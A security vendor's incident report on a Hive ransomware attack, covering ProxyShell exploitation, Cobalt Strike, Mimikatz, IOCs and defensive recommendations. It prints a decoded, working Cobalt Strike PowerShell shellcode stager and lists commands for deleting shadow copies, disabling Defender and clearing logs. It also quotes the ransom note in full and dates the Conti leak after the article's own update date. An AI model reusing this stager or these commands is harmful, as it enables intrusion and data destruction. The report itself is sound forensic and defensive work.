Hive Ransomware Analysis

Nadav Ovadia Nadav Ovadia |

Clock for time it takes to read article 7 min read

|

Last updated April 19, 2022

Hive Ransomware Analysis

During a recent engagement with a customer, the Varonis Forensics Team investigated a ransomware incident. Multiple devices and file servers were compromised and encrypted by a malicious threat group known as Hive.

First observed in June 2021, Hive is an affiliate-based ransomware variant used by cybercriminals to conduct ransomware attacks against healthcare facilities, nonprofits, retailers, energy providers, and other sectors worldwide. Hive is built for distribution in a Ransomware-as-a-service model that enables affiliates to utilize it as desired.

Hive Authorization

The variant uses common ransomware tactics, techniques, and procedures (TTPs) to compromise victims' devices. While taking live actions, the operator disables anti-malware protections and then exfiltrates sensitive data and encrypts business files. Their affiliates use multiple mechanisms to compromise their victims' networks, including phishing emails with malicious attachments, leaked VPN credentials, and by exploiting vulnerabilities on external-facing assets. In addition, Hive places a plain-text ransom note that threatens to publish the victim's data on the TOR website 'HiveLeaks' unless the victim meets the attacker's conditions.

Hive Leaks

Observation of the attack

The Forensics team observed that the actor managed to achieve its malicious goals and encrypt the environment in less than 72 hours from the initial compromise.

Stage 1: ProxyShell and WebShell

First, the attacker exploited multiple Exchange security vulnerabilities, referred to as ProxyShell. Next, the attack placed a malicious backdoor script, referred to as webshell, in a publicly accessible directory on the Exchange server. These web scripts could then execute malicious PowerShell code over the compromised server with SYSTEM privileges.

Stage 2: Cobalt Strike

The malicious PowerShell code downloaded additional stagers from a remote C2 (Command & Control) server associated with the Cobalt Strike framework. The stagers were not written to the file system but executed in memory.

Stage 3: Mimikatz and Pass-The-Hash

Leveraging the SYSTEM permissions, the threat actor created a new system administrator user named "user" and advanced to the credential dumping stage, invoking Mimikatz. By stealing the domain Administrator NTLM hash and without needing to crack the password, the operator managed to reuse it via Pass-The-Hash attack and take control of the domain admin account.

Stage 4: Scanning for sensitive information

Next, the threat actor performed extensive discovery activities across the network. In addition to searching for files containing "password" in their names, observed activities included dropping network scanners and collecting the networks' IP addresses and device names, followed by RDPs to the backup servers and other critical assets.

Stage 5: Ransomware deployment

Finally, a custom-crafted malware payload named Windows.exe was delivered and executed on various devices, leading to wide encryption and denial of access to files within the organization.

The payload created a plain text ransomware demand note during the encryption phase.

Initial Access

The initial indicator of compromise was the successful exploitation of Microsoft Exchange via vulnerabilities known as ProxyShell.

Revealed in August 2021, ProxyShell is a Remote Code Execution (RCE) vulnerability. ProxyShell involves a set of three separate security flaws and allows remote attackers to execute arbitrary code on affected installations of Microsoft Exchange Server.

CVE-2021-34473 (Base Score: 9.8)

Microsoft Exchange Server Remote Code Execution Vulnerability.

CVE-2021-34523 (Base Score: 9.8)

Microsoft Exchange Server Elevation of Privilege Vulnerability

CVE-2021-31207 (Base Score: 7.2)

Microsoft Exchange Server Security Feature Bypass Vulnerability

Microsoft released patches for those three vulnerabilities in April and May 2021 as part of their "Patch Tuesday" releases. CVE-2021-34473 and CVE-2021-34523 were patched (KB5001779) In April 2021. CVE-2021-31207 was patched (KB5003435) in May.

During the investigation, we found specific exploitation evidence of these CVEs (Common Vulnerabilities and Exposures), which allowed the adversary to deploy webshells successfully on the compromised server.

ProxyShell exploitation

Based on our analysis, four different IP addresses accessed the malicious files:

139.60.161.228 (USA)

ASN: HOSTKEY

RELATED ACTIVITY: Cobalt Strike C2 and Log4j vulnerability scanning

139.60.161.56 (USA)

ASN: HOSTKEY

RELATED ACTIVITY: Cobalt Strike C2 and Log4j vulnerability scanning

185.70.184.8 (Netherlands)

ASN: HOSTKEY

RELATED ACTIVITY: Cobalt Strike C2 and Log4j vulnerability scanning. Associated with Emotet, IcedID, and QBot.

91.208.52.149 (Netherlands)

ASN: SERVERIUS-A

The following malicious files were spotted:

Webshell GET requestsThese file names are made of random characters that do not appear to have any significance. Attackers commonly use this technique to prevent third parties from finding the webshells online by sending HTTP requests to a list of preconstructed names that are part of other campaigns.

whoami shell

The source code of the established webshells is taken from a public git repository at https://github.com/ThePacketBender/webshells.

webshell git repExecution

By establishing a foothold on the compromised Exchange Server, the threat actor executed various PowerShell commands designed to download malicious files from the remote C2 server to the victim's computer. Attackers would execute the malware by using commands such as Invoke-Expression (IEX) or by downloading the file content directly into the device's memory and executing it:

C2 invoke executionFurther, attackers executed an additional obfuscated PowerShell script that was a part of the Cobalt Strike framework:

Powershell executed commandThe Base64 encoded command contains several layers of encoding but finally decodes to the following PowerShell command:

```
function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods =
([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And
$_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa
= $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null,
@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-
Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))),
$var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)]
[Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder =
[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',
$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime,
Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type,
$var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() }
[Byte[]]$var_code =
[System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOo
IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNw
oD/
JWHd4sCLmyO98yFY4rSkNpnTutksFjPk1iId3VatKb1qXZnUlBHxy9uRECX2FYx1tCT2QCAktdtYyitbmqWDvjVGRB9bSN2UEZRDmJERk1XGQNuT
oaEPfm0YlN8JZlys9JSvydexNohj88pn9o2SyWlVIxY8cJLweQz1ZdO2JIzPEnVW4x52BGHMgFqryhE8N1PEyfVnFL/
7oUr8aGQvMsusR84zVxpx5+C6a+SP9iBhlQcdopF5Zu0hJsRfacn4nFrojL1nt+/
oBQcjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BIQGg0VEw0
for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } Write-Output
$var_code
```

The additional "for loop" function adds another layer of obfuscation and XORs the Base64 code with a key of 35. We successfully extracted the IP address of the target C2 by mimicking the process, which, unsurprisingly, turned out to be the same address we found previously.

Cobalt Payload C2

Converting the Base64 into a hexadecimal string and reformatting with a Python script restored the malicious file. VirusTotal analysis shows 23 out of 52 antivirus detections and attributes the file to the Cobalt Strike framework.

VirusTotal detection

Persistence

With the provided NT AUTHORITY\SYSTEM privileges and to maintain persistence over the compromised server, a newly crafted account followed by the name "user" was created and added to "Remote Desktop Users" and "Administrators" groups. The user was used to access multiple paths seeking "password" related files, RDP access to backup servers, and more.

Credential Access

The threat actor used Mimikatz, a post-exploitation tool, specifically its SekurLSA's "logonPasswords" module, which extracts the passwords and NTLM hashes of the accounts logged into the system and saves the results to a text file on the local system. With the administrator's NTLM hash in hand, the threat actor used the pass-the-hash technique to get highly privileged access to other assets in the network by launching a new command prompt on the affected system:

pth

Lateral Movement

Leveraging the stolen domain admin account, the actor performed RDP access requests using mstsc.exe following the parameter "/v" to multiple devices on the network, mainly searching for servers associated with the network backups and SQL servers. We strongly believe that these actions were performed to confirm the ability to access the critical servers before the ransomware deployment.

Discovery

A known public network scanner tool named "SoftPerfect" was used to perform scans over the domain assets.

SoftPerfect Network ScannerBy utilizing the tool, the threat actor acquired the domain devices list and saved the results to a text file named "domains.txt." To locate all live hosts, the attacker executed a Batch script called "p.bat," which looped over the domains list sending pings and saved the results to a text file named "res.txt."

pbatch

res

The p.bat script and file naming convention match part of Conti's ransomware toolkit, which was provided to the group's affiliates and first leaked on August 21, 2022 and published on Twitter. This indicates that Hive affiliates are adopting other ransomware group techniques.

Impact

The threat actors began their final actions by distributing a file named "windows.exe," which was the ransomware payload written in Golang. The payload performs multiple operations, including deleting shadow copies, disabling security products, clearing Windows event logs, and closing handles on files to guarantee a smooth encryption process. Below is a brief documentation of the executed commands:

Command	Description
vssadmin.exe delete shadows /all /quiet	Deleting the shadow copies from the machine to inhibit system recovery
net.exe stop "SamSs" /y	Stops the Security Accounts Manager to prevent sending alerts to SIEM system
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f	Disables Windows Defender to avoid detection
wevtutil.exe cl security	Clearing the Windows Security Event Logs

The ransomware iterates through all the available folders encrypting the included files and drops a ransom note named "_HOW_TO_DECRYPT.txt" in each folder. Once it has finished encryption, it pops the ransom note to inform the user of the attack.

```
Your network has been breached and all data were encrypted. Personal data, financial reports and important
documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed
at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our
decryption software. Please contact our sales department at: http://
hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: Password: To get an access to
.onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not
related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete
*.key. files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose
them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow
you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt
without the key. They also don't care about your business. They believe that they are good negotiators, but
it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be
publicly disclosed.
```

Conclusions

Ransomware attacks have grown significantly over the past years and remain the preferred method of threat actors aiming to maximize profits. The impact of an attack can be detrimental. It may potentially harm an organization's reputation, disrupt regular operations and lead to temporary, and possibly permanent, loss of sensitive data.

Although detecting and responding to such incidents can be challenging, most malicious activities can be prevented by having the right security tools, incident response plans, and patches for known vulnerabilities in place.

Recommendations

Varonis Forensics Team recommends the following:

- Patch Exchange server to the latest Exchange Cumulative Update (CU) and Security Update (SU) provided by Microsoft.
- Enforce the use of complex passwords and require users to change passwords periodically.
- Use the Microsoft LAPS solution to revoke local admin permissions from domain accounts (the principle of least privilege) and regularly check for and remove inactive user accounts.
- Block SMBv1 usage and use SMB signing to protect against pass-the-hash attack.
- Restrict access to the minimum required for the employee's role.
- Detect and automatically prevent access control changes that violate your business rules.
- Train employees in security principles and make sure employees receive security awareness training as a part of your cyber security plans.
- Establish basic security practices, and set rules of behavior describing how to handle and protect the organization and customer information and other vital data.

MITRE Breakdown

1. Initial Access

- Exploit Public-Facing Application (T1190)
    - CVE-2021-34473
    - CVE-2021-34523
    - CVE-2021-31207

2. Execution

- User Execution (T1204)
  - Malicious File (T1204.002)

- Command and Scripting Interpreter (T1059)
  - PowerShell (T1059.001)

3. Persistence

- Create Account (T1136)
  - Domain Account (T1136.002)

- Valid Accounts (T1078)
  - Domain Accounts (T1078.002)

4. Privilege Escalation

- Valid Accounts (T1078)
- Domain Accounts (T1078.002)

5. Defense Evasion

- Deobfuscate/Decode Files or Information (T1140)
- Indicator Removal on Host (T1070)
  - Clear Windows Event Logs (T1070.001)

6. Credential Access

- OS Credential Dumping (T1003)
  - Cached Domain Credentials (T1003.005)

7. Discovery

- Remote System Discovery (T1018)

8. Lateral Movement

- Remote Services (T1021)
  - Remote Desktop Protocol (T1021.001)

9. Command and Control

- Application Layer Protocol (T1071)
  - Web Protocols (T1071.001)

10. Impact

- Data Encrypted for Impact (T1486)

IOC's

User accounts names created

- "user"

Malicious IP's

- 139.60.161.228

- 139.60.161.56
- 91.208.52.149
- 185.70.184.8

Name	MD5	SHA1
Windows.exe		
Mimikatz.exe	6c9ad4e67032301a61a9897377d9cff8	655979d56e874fbe7561bb1b6e512316c25cbb19
advanced_port_scanner_2.5.3869.exe	6a58b52b184715583cda792b56a0a1ed	3477a173e2c1005a81d042802ab0f22cc12a4d55
advanced port scanner.exe	4fdabe571b66ceec3448939bfb3ffcd1	763499b37aacd317e7d2f512872f9ed719aacae1
scan.exe	bb7c575e798ff5243b5014777253635d	2146f04728fe93c393a74331b76799ea8fe0269f
p.bat	5e1575c221f8826ce55ac2696cf1cf0b	ecf794599c5a813f31f0468aecd5662c5029b5c4
Webshell #1	d46104947d8478030e8bcfcc74f2aef7	d1ef9f484f10d12345c41d6b9fca8ee0efa29b60
Webshell #2	2401f681b4722965f82a3d8199a134ed	2aee699780f06857bb0fb9c0f73e33d1ac87a385

Nadav Ovadia

Nadav Ovadia

Nadav Ovadia is a security researcher for Varonis.